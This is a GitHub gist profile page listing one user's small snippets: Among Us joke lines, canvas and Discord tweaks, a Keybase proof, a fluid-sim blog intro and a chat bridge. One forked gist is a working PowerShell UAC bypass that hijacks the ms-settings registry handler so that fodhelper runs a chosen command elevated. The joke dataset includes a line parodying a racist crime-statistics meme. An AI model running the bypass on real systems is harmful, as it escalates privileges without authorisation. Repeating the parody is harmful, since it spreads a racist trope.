Skip to content

Instantly share code, notes, and snippets.

View fucksophie's full-sized avatar
🤒
big gaming

sophie fucksophie

🤒
big gaming
View GitHub Profile
@fucksophie
fucksophie / gist:67385b23698686394d1d6882f2edca95
Last active August 15, 2021 13:28
My miniprojects or whatever
Yourfriend's Miniprojects
project 1 - https://github.com/yourfriendoss/Armenian-Goverment
project 2 - https://github.com/yourfriendoss/TheTea
project 3 - https://github.com/yourfriendoss/spinning-parrot
project 4 - https://github.com/yourfriendoss/WebcamBOT
project 5 - https://github.com/yourfriendoss/Cla55ic
project 6 - https://github.com/capegroup
project 7 - https://github.com/yourfriendoss/Classicube
project 8 - https://github.com/yourfriendoss/FemboyJS
project 9 - https://github.com/yourfriendoss/MCLocales
@fucksophie
fucksophie / Imposter Dataset.json
Created July 11, 2021 11:34
Fucking sus like imposter
[
"He says that he needs to be \"sus\" and is the \"impostor\".",
"My son KILLED my husband and told me that I can't \"report\" the body other wise the other crewmates will think he is \"sus\" and that he would be \"ejected\".",
"It's important to note that Reds commit nearly 52% of all the murders in Among Us, which is astounding when you take into consideration the fact that they make up 12-13% of the population",
"It gets even more astounding when you start considering the fact the bulk of Reds committing these murders are probably ages 8-18 which is probably around an estimated 6-7% of the population that means that around 7% of Among Us Players are committing around 50% of the murders.",
"If you're playing Among Us",
"\"Oh that looks kinda like the among us guy\" it started as",
"But I kept going, I'd see a fridge that looked like among us, I'd see an animated bag of chips that looked like among us, I'd see a hat that looked like among us",
"And every time I'd burst into a
@fucksophie
fucksophie / index.js
Created August 28, 2021 19:29
wow anime owooop
import OJS from "owop-js"
import pkg from 'canvas';
const { createCanvas, loadImage } = pkg;
const img = await loadImage('300.png')
const canvas = createCanvas(img.width, img.height)
const ctx = canvas.getContext('2d')
let pos1 = [1 - img.width/2,
1 - img.height/2]
@fucksophie
fucksophie / index.js
Last active October 26, 2021 12:14
wow!@
console.log("Welcome to 💻!")
// Do the wordmark
// TODO: Make sure to make some kind of thing that automatically finds this.
const wordMark = document.querySelector("#app-mount > div.typeWindows-1za-n7.withFrame-haYltI.titleBar-AC4pGV.horizontalReverse-3tRjY7.flex-1O1GKY.directionRowReverse-m8IjIq.justifyStart-2NDFzi.alignStretch-DpGPf3 > div.wordmarkWindows-1v0lYD.wordmark-2iDDfm");
wordMark.textContent = "💻"
wordMark.style.fontSize = "16px"
wordMark.style.color = "white"
@fucksophie
fucksophie / keybase.md
Created December 25, 2021 10:27
keybase.md

Keybase proof

I hereby claim:

  • I am yourfriendoss on github.
  • I am yourfriend (https://keybase.io/yourfriend) on keybase.
  • I have a public key whose fingerprint is 133A 9696 26CC A8A9 1811 CF18 ADA0 EBCC 72B7 428E

To claim this, I am signing this object:

@fucksophie
fucksophie / FodhelperUACBypass.ps1
Last active January 2, 2022 14:46 — forked from netbiosX/FodhelperUACBypass.ps1
Bypass UAC via Fodhelper binary in Windows 10 systems
function FodhelperUACBypass(){
Param (
[String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default
)
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
@fucksophie
fucksophie / userRankings.ts
Created April 2, 2022 11:56
user rankings for a plot of pixels in r/place 2022
/*
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
@fucksophie
fucksophie / fluidsim.md
Last active December 3, 2022 19:50
how 2 make fluid sim yf style

how to make a HTML fluid sim

hi this will be my first real blog thing i'll try to explainw hat i m doing

Boilerplate / Setup

we have to do some ep0c boilerplate.. first lets make a epic index.html and slap something like

@fucksophie
fucksophie / index.js
Created August 21, 2023 17:37
switchcraft and matrix bridge :)
import { Client } from "switchchat";
import {Level} from "level"
import {
MatrixClient,
SimpleFsStorageProvider,
} from "matrix-bot-sdk";
const storage = new SimpleFsStorageProvider("server.json");
const client = new MatrixClient("https://matrix.yourfriend.lol", "", storage);
@fucksophie
fucksophie / combine.js
Created May 18, 2024 08:19
combine two lists of tailwind classes
function combineTailwind(first, second) {
const secondSplit = second.split(" ")
let classes = [];
const secondIds = secondSplit.map(z => z.split("-")[0]);
for(const defaultClass of first.split(" ")) {
if(!secondIds.includes(defaultClass.split("-")[0])) {
classes.push(defaultClass);
}